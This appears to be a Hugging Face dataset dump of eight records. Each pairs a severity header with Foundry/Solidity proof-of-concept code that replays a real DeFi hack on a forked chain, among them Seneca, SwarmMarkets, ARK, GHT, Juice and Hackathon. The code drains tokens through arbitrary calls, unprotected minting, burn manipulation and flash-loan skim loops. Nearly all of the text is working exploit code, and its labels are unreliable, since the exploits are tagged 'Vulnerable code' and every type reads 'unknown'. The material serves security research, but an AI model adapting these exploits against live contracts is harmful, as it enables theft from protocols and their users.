Farseen0/scar-pairs huggingface dataset:
HIGH severity: Seneca exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~$6M Attacker : https://etherscan.io/address/0x94641c01a4937f2c8ef930580cf396142a2942dc Vuln Contract : https://etherscan.io/address/0x65c210c59b43eb68112b7a4f75c8393c36491f06 Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x23fcf9d45

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$6M
// Attacker : https://etherscan.io/address/0x94641c01a4937f2c8ef930580cf396142a2942dc
// Vuln Contract : https://etherscan.io/address/0x65c210c59b43eb68112b7a4f75c8393c36491f06
// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x23fcf9d4517f7cc39815b09b0a80c023ab2c8196c826c93b4100f2e26b701286

// @Analysis
// https://twitter.com/Phalcon_xyz/status/1763045563040411876

interface IChamber {
    function performOperations(
        uint8[] memory actions,
        uint256[] memory values,
        bytes[] memory datas
    ) external payable returns (uint256 value1, uint256 value2);
}

contract ContractTest is Test {
    IChamber private constant Chamber = IChamber(0x65c210c59B43EB68112b7a4f75C8393C36491F06);
    IERC20 private constant PendlePrincipalToken = IERC20(0xB05cABCd99cf9a73b19805edefC5f67CA5d1895E);
    address private constant victim = 0x9CBF099ff424979439dFBa03F00B5961784c06ce;
    uint8 public constant OPERATION_CALL = 30;

    function setUp() public {
        vm.createSelectFork("mainnet", 19_325_936);
        vm.label(address(Chamber), "Chamber");
        vm.label(address(PendlePrincipalToken), "PendlePrincipalToken");
        vm.label(victim, "victim");
    }

    function testExploit() public {
        // Datas
        uint256 amount = PendlePrincipalToken.balanceOf(victim);
        bytes memory callData =
            abi.encodeWithSignature("transferFrom(address,address,uint256)", victim, address(this), amount);
        bytes memory data = abi.encode(address(PendlePrincipalToken), callData, uint256(0), uint256(0), uint256(0));
        bytes[] memory datas = new bytes[](1);
        datas[0] = data;

        // Actions
        uint8[] memory actions = new uint8[](1);
        actions[0] = OPERATION_CALL;

        // Values
        uint256[] memory values = new uint256[](1);
        values[0] = uint256(0);

        emit log_named_decimal_uint(
            "Exploiter PendlePrincipalToken balance before attack",
            PendlePrincipalToken.balanceOf(address(this)),
            PendlePrincipalToken.decimals()
        );

        Chamber.performOperations(actions, values, datas);

        emit log_named_decimal_uint(
            "Exploiter PendlePrincipalToken balance after attack",
            PendlePrincipalToken.balanceOf(address(this)),
            PendlePrincipalToken.decimals()
        );
    }
}


Vulnerability type: unknown
HIGH severity: SwarmMarkets exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~7729 $DAI $USDC Attacker : https://etherscan.io/address/0x38f68f119243adbca187e1ef64344ed475a8c69c Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809 Vulnerable Contract : https://etherscan.io/address

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~7729 $DAI $USDC
// Attacker : https://etherscan.io/address/0x38f68f119243adbca187e1ef64344ed475a8c69c
// Attack Contract : https://etherscan.io/address/0x3aa228a80f50763045bdfc45012da124bd0a6809
// Vulnerable Contract : https://etherscan.io/address/0x2b9dc65253c035eb21778cb3898eab5a0ada0cce
// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xa4d7ee2ddb9db06961a17e2a5ae71743a266bcb720be138670f4a10e8dfc13e9

import "forge-std/Test.sol";
import "./../interface.sol";

interface IXTOKEN {
    function mint(address account, uint256 amount) external;
    function burnFrom(address account, uint256 amount) external;
}

interface IXTOKENWrapper {
    function unwrap(address _xToken, uint256 _amount) external;
}

interface IPROXY {
    function register(address addr, address _token, address _xToken) external;
}

contract ContractTest is Test {
    event TokenBalance(string key, uint256 val);

    IXTOKEN XTOKEN = IXTOKEN(0xD08E245Fdb3f1504aea4056e2C71615DA7001440);
    IXTOKEN XTOKEN2 = IXTOKEN(0x0a3fbF5B4cF80DB51fCAe21efe63f6a36D45d2B2);
    IXTOKENWrapper wrapper = IXTOKENWrapper(0x2b9dc65253c035Eb21778cB3898eab5A0AdA0cCe);
    IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);

    function setUp() public {
        vm.createSelectFork("mainnet", 19_286_457 - 1);
        vm.label(address(XTOKEN), "XTOKEN");
        vm.label(address(XTOKEN2), "XTOKEN2");
        vm.label(address(wrapper), "wrapper");
        vm.label(address(DAI), "DAI");
        vm.label(address(USDC), "USDC");
    }

    function testExploit() public {
        emit log_named_decimal_uint("Attacker DAI balance before attack:", DAI.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("Attacker USDC balance before attack:", DAI.balanceOf(address(this)), 18);
        XTOKEN.mint(address(this), DAI.balanceOf(address(wrapper)));
        XTOKEN2.mint(address(this), USDC.balanceOf(address(wrapper)));
        wrapper.unwrap(address(XTOKEN), DAI.balanceOf(address(wrapper)));
        wrapper.unwrap(address(XTOKEN2), USDC.balanceOf(address(wrapper)));
        emit log_named_decimal_uint("Attacker DAI balance after attack:", DAI.balanceOf(address(this)), 18);
        emit log_named_decimal_uint("Attacker USDC balance after attack:", DAI.balanceOf(address(this)), 18);
    }

    fallback() external payable {}
}


Vulnerability type: unknown
HIGH severity: ARK exploit (unknown). SPDX-License-Identifier: UNLICENSED TX : https://app.blocksec.com/explorer/tx/bsc/0xe8b0131fa14d0a96327f6b5690159ffa7650d66376db87366ba78d91f17cd677 GUY : https://twitter.com/Phalcon_xyz/status/1771728823534375249 Profit : ~348BNB REASON : business logic flaw

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// TX : https://app.blocksec.com/explorer/tx/bsc/0xe8b0131fa14d0a96327f6b5690159ffa7650d66376db87366ba78d91f17cd677
// GUY : https://twitter.com/Phalcon_xyz/status/1771728823534375249
// Profit : ~348BNB
// REASON : business logic flaw

interface Ark is IERC20 {
    function autoBurnLiquidityPairTokens() external;
}

contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Ark constant ARK = Ark(0xde698B5BBb4A12DDf2261BbdF8e034af34399999);
    Uni_Pair_V2 ARK_WBNB = Uni_Pair_V2(0xc0F54B8755DAF1Fd78933335EfCD761e3D5B4a6F);
    Uni_Router_V2 router = Uni_Router_V2(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() external {
        cheats.createSelectFork("bsc", 37_221_235);
        // explotier have
        deal(address(WBNB), address(this), 100);
        deal(address(ARK), address(this), 4 ether);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
        uint256 i = 0;
        while (i < 10_000) {
            ARK.autoBurnLiquidityPairTokens();
            if (ARK.balanceOf(address(ARK_WBNB)) < 1_700_000_000_000) {
                break;
            }
            i++;
        }
        WBNB.transfer(address(ARK_WBNB), 100);
        ARK.transfer(address(ARK_WBNB), ARK.balanceOf(address(this)));
        (uint256 _reserve0, uint256 _reserve1,) = ARK_WBNB.getReserves();
        uint256 Ark_balance = ARK.balanceOf(address(ARK_WBNB));
        address[] memory path = new address[](2);
        path[0] = address(ARK);
        path[1] = address(WBNB);
        uint256[] memory amountOut = router.getAmountsOut(Ark_balance - _reserve1, path);
        ARK_WBNB.swap(amountOut[1], 0, address(this), "");
        emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
    }
}


Vulnerability type: unknown
HIGH severity: GHT exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~$57K Attacker : https://etherscan.io/address/0x096f0f03e4be68d7e6dd39b22a3846b8ce9849a3 Attack Contract : https://etherscan.io/address/0xcc5159b5538268f45afda7b5756fa8769ce3e21f Vuln Contract : https://etherscan.io/address/0x528e046acfb52b

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$57K
// Attacker : https://etherscan.io/address/0x096f0f03e4be68d7e6dd39b22a3846b8ce9849a3
// Attack Contract : https://etherscan.io/address/0xcc5159b5538268f45afda7b5756fa8769ce3e21f
// Vuln Contract : https://etherscan.io/address/0x528e046acfb52bd3f9c400e7a5c79a8a2c2863d0
// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xd17266bcdf30cbcbd7d0b5a006f43141981aeee2e1f860f68c9a1805ecacbc68?line=3
interface IGHT {
    function transferFrom(address, address, uint256) external;
    function balanceOf(
        address
    ) external view returns (uint256);
}

interface CheatCodesNew {
    /// Creates and also selects new fork with the given endpoint and at the block the given transaction was mined in,
    /// replays all transaction mined in the block before the transaction, returns the identifier of the fork.
    function createSelectFork(string calldata urlOrAlias, bytes32 txHash) external returns (uint256 forkId);
}

contract ContractTest is Test {
    WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IGHT private constant GHT = IGHT(0x528e046ACfb52bD3f9c400e7A5c79A8a2c2863d0);
    Uni_Pair_V2 private constant WETH_GHT = Uni_Pair_V2(0x706206EabD6A70ca4992eEc1646B6D1599259CAe);

    function setUp() public {
        CheatCodesNew(address(vm)).createSelectFork(
            "mainnet", bytes32(0xd17266bcdf30cbcbd7d0b5a006f43141981aeee2e1f860f68c9a1805ecacbc68)
        );
        vm.label(address(WETH), "WETH");
        vm.label(address(GHT), "GHT");
        vm.label(address(WETH_GHT), "WETH_GHT");
    }

    function testExploit() public {
        emit log_named_decimal_uint(
            "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
        );
        uint256 amount = GHT.balanceOf(address(WETH_GHT));
        GHT.transferFrom(address(WETH_GHT), address(GHT), amount - 1);
        WETH_GHT.sync();
        amount = GHT.balanceOf(address(GHT));
        GHT.transferFrom(address(GHT), address(WETH_GHT), amount);
        uint256 balance = GHT.balanceOf(address(WETH_GHT));
        (uint256 reserveIn, uint256 reserveOut,) = WETH_GHT.getReserves();
        uint256 amountIn = balance - reserveIn;
        uint256 amountInWithFee = amountIn * 997;
        uint256 numerator = amountInWithFee * reserveOut;
        uint256 denominator = reserveIn * 1000 + amountInWithFee;
        uint256 amountOut = numerator / denominator;

        WETH_GHT.swap(0, amountOut, address(this), "");
        emit log_named_decimal_uint(
            "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
        );
    }
}


Vulnerability type: unknown
HIGH severity: Juice exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~54 ETH Attacker : https://etherscan.io/address/0x3fA19214705BC82cE4b898205157472A79D026BE Attack Contract : https://etherscan.io/address/0xa8b45dEE8306b520465f1f8da7E11CD8cFD1bBc4 Vulnerable Contract : https://etherscan.io/address/0x8584dd

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~54 ETH
// Attacker : https://etherscan.io/address/0x3fA19214705BC82cE4b898205157472A79D026BE
// Attack Contract : https://etherscan.io/address/0xa8b45dEE8306b520465f1f8da7E11CD8cFD1bBc4
// Vulnerable Contract : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e
// Attack Tx : https://etherscan.io/tx/0xc9b2cbc1437bbcd8c328b6d7cdbdae33d7d2a9ef07eca18b4922aac0430991e7

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e#code

interface IStake {
    function harvest(
        uint256
    ) external;
    function stake(uint256, uint256) external;
}

contract Juice is Test {
    uint256 blocknumToForkFrom = 19_395_636;
    IERC20 JUICE = IERC20(0xdE5d2530A877871F6f0fc240b9fCE117246DaDae);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IStake JuiceStaking = IStake(0x8584DdbD1E28bCA4bc6Fb96baFe39f850301940e);

    Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] Attacker ETH balance before exploit", address(this).balance, 18);

        //stake 0.5 ETH
        ETHtoJUICE(0.5 ether);
        JUICE.approve(address(JuiceStaking), type(uint256).max);
        JuiceStaking.stake(JUICE.balanceOf(address(this)), 3_000_000_000);

        // harvest JUICE token a block later
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 12);
        JuiceStaking.harvest(0);
        JUICE.approve(address(Router), type(uint256).max);
        JUICEtoETH();

        // Log balances after exploit
        emit log_named_decimal_uint("[End] Attacker ETH Balance After exploit", address(this).balance, 18);
    }

    function ETHtoJUICE(
        uint256 amount
    ) internal {
        address[] memory path = new address[](2);
        path[0] = address(WETH);
        path[1] = address(JUICE);
        Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0, path, address(this), block.timestamp + 60
        );
    }

    function JUICEtoETH() internal {
        address[] memory path = new address[](2);
        path[0] = address(JUICE);
        path[1] = address(WETH);
        Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            JUICE.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60
        );
    }

    fallback() external payable {}
}


Vulnerability type: unknown
HIGH severity: FIL314 exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~14 BNB Attacker : https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c Attack Contract : https://bscscan.com/address/0xde521fbbbb0dbcfa57325a9896c34941f23e96a0 Created Attack Contract: https://bscscan.com/address/0x5C01B9

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~14 BNB
// Attacker : https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c
// Attack Contract : https://bscscan.com/address/0xde521fbbbb0dbcfa57325a9896c34941f23e96a0
// Created Attack Contract: https://bscscan.com/address/0x5C01B97299b32BaF75B4940fDaE158656C231847
// Vulnerable Contract : https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af
// Attack Tx : https://bscscan.com/tx/0x9f2eb13417190e5139d57821422fc99bced025f24452a8b31f7d68133c9b0a6c

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af#code

interface IFIL314 {
    function getAmountOut(uint256 value, bool buy) external returns (uint256);
    function hourBurn() external;
    function transfer(address to, uint256 value) external returns (bool);
    function balanceOf(
        address account
    ) external view returns (uint256);
}

contract FIL314 is Test {
    uint256 blocknumToForkFrom = 37_795_991;
    IFIL314 FIL314 = IFIL314(0xE8A290c6Fc6Fa6C0b79C9cfaE1878d195aeb59aF);

    function setUp() public {
        vm.createSelectFork("bsc", blocknumToForkFrom);
    }

    function testExploit() public {
        // Implement exploit code here
        emit log_named_decimal_uint(" Attacker BNB Balance Before exploit", address(this).balance, 18);
        // buy FIL314 token
        address(FIL314).call{value: 0.05 ether}("");
        // deflate the token
        for (uint256 i = 0; i < 6000; i++) {
            FIL314.hourBurn();
        }
        for (uint256 i = 0; i < 10; i++) {
            uint256 amount = FIL314.getAmountOut(address(FIL314).balance, true);
            // sell the token
            FIL314.transfer(address(FIL314), amount);
        }

        // Log balances after exploit
        emit log_named_decimal_uint(" Attacker BNB Balance After exploit", address(this).balance, 18);
    }

    fallback() external payable {}
}


Vulnerability type: unknown
HIGH severity: GFA exploit (unknown). SPDX-License-Identifier: UNLICENSED TX : https://app.blocksec.com/explorer/tx/bsc/0xe15d6f7fa891c2626819209edf2d5ded6948310eaada067b400062aa022ce718 GUY : https://x.com/ChainAegis/status/1779809931962827055 Profit : ~14K USD

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// TX : https://app.blocksec.com/explorer/tx/bsc/0xe15d6f7fa891c2626819209edf2d5ded6948310eaada067b400062aa022ce718
// GUY : https://x.com/ChainAegis/status/1779809931962827055
// Profit : ~14K USD

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IPancakePair Pair = IPancakePair(0x875AC38Bc56E2c6FBEDa4354Ac085CB94d0D2D2F);
    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 GFA = IERC20(0x278ce7151Bfd1b035e8Bc99e15b4d9773969D4eD);
    address Reward = 0xbCbCb0e7E28414e084c4a40C1cCC30B75629a7DE;

    function setUp() public {
        cheats.createSelectFork("bsc", 37_857_763);
        deal(address(BUSD), address(this), 30 * 1e18);
    }

    function testExploit() public {
        emit log_named_decimal_uint(
            "attacker balance BUSD before attack:", BUSD.balanceOf(address(this)), BUSD.decimals()
        );
        attack();
        emit log_named_decimal_uint(
            "attacker balance BUSD after attack:", BUSD.balanceOf(address(this)), BUSD.decimals()
        );
    }

    function attack() public {
        BUSD.approve(address(Pair), type(uint256).max);
        BUSD.approve(address(Router), type(uint256).max);
        swap_token_to_token(address(BUSD), address(GFA), 30 ether);
        Reward.call(
            abi.encodeWithSelector(bytes4(0x5f7938f1), address(this), 400_000_000 * 1e18, 40_000_000 * 1e18, 12_222)
        );
        Reward.call(abi.encodeWithSelector(bytes4(0x3890ec92), 100));
        GFA.transfer(address(GFA), 10_000);
        swap_token_to_token(address(GFA), address(BUSD), GFA.balanceOf(address(this)));
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(Router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }

    function getreserves(
        uint256 stepNum
    ) public {
        console.log("Step %i", stepNum);
        (uint256 reserveIn, uint256 reserveOut,) = Pair.getReserves();
        emit log_named_decimal_uint("ReserveIn", reserveIn, 18);
        emit log_named_decimal_uint("ReserveOut", reserveOut, 18);
    }
}


Vulnerability type: unknown
HIGH severity: Hackathon exploit (unknown). SPDX-License-Identifier: UNLICENSED TX : https://app.blocksec.com/explorer/tx/bsc/0xea181f730886ece947e255ab508f5af1d0f569fee3368b651d5dbb28549087b5 Vulnearable Contract: 0x11cee747Faaf0C0801075253ac28aB503C888888 GUY : https://x.com/EXVULSEC/status/1779519508375613827 Profit : ~20K USD Root Cause: 

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// TX : https://app.blocksec.com/explorer/tx/bsc/0xea181f730886ece947e255ab508f5af1d0f569fee3368b651d5dbb28549087b5
// Vulnearable Contract: 0x11cee747Faaf0C0801075253ac28aB503C888888
// GUY : https://x.com/EXVULSEC/status/1779519508375613827
// Profit : ~20K USD
// Root Cause: when `sender == recipient == pair`, the recipient’s balance is credited twice, once in each branch

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IPancakePair Pair = IPancakePair(0xd46f4a4B57D8EC355fe83F9AE75d4cC04DE371ED);
    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 Hackathon = IERC20(0x11cee747Faaf0C0801075253ac28aB503C888888);

    function setUp() public {
        cheats.createSelectFork("bsc", 37_854_043);
        deal(address(BUSD), address(this), 0);
    }

    function testExploit() public {
        emit log_named_decimal_uint(
            "attacker balance BUSD before attack:", BUSD.balanceOf(address(this)), BUSD.decimals()
        );
        DPP.flashLoan(0, 200_000 ether, address(this), new bytes(1));
        emit log_named_decimal_uint(
            "attacker balance BUSD after attack:", BUSD.balanceOf(address(this)), BUSD.decimals()
        );
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        BUSD.approve(address(Pair), type(uint256).max);
        BUSD.approve(address(Router), type(uint256).max);
        uint256 j = 0;
        while (j < 10) {
            uint256 i = 0;
            swap_token_to_token(address(BUSD), address(Hackathon), 200_000 * 1e18);
            Hackathon.transfer(address(Pair), Hackathon.balanceOf(address(this)));
            while (i < 10) {
                Pair.skim(address(Pair));
                Pair.skim(address(this));
                i++;
            }
            swap_token_to_token(address(Hackathon), address(BUSD), Hackathon.balanceOf(address(this)));
            j++;
        }
        BUSD.transfer(address(msg.sender), quoteAmount);
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(Router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }
}


Vulnerability type: unknown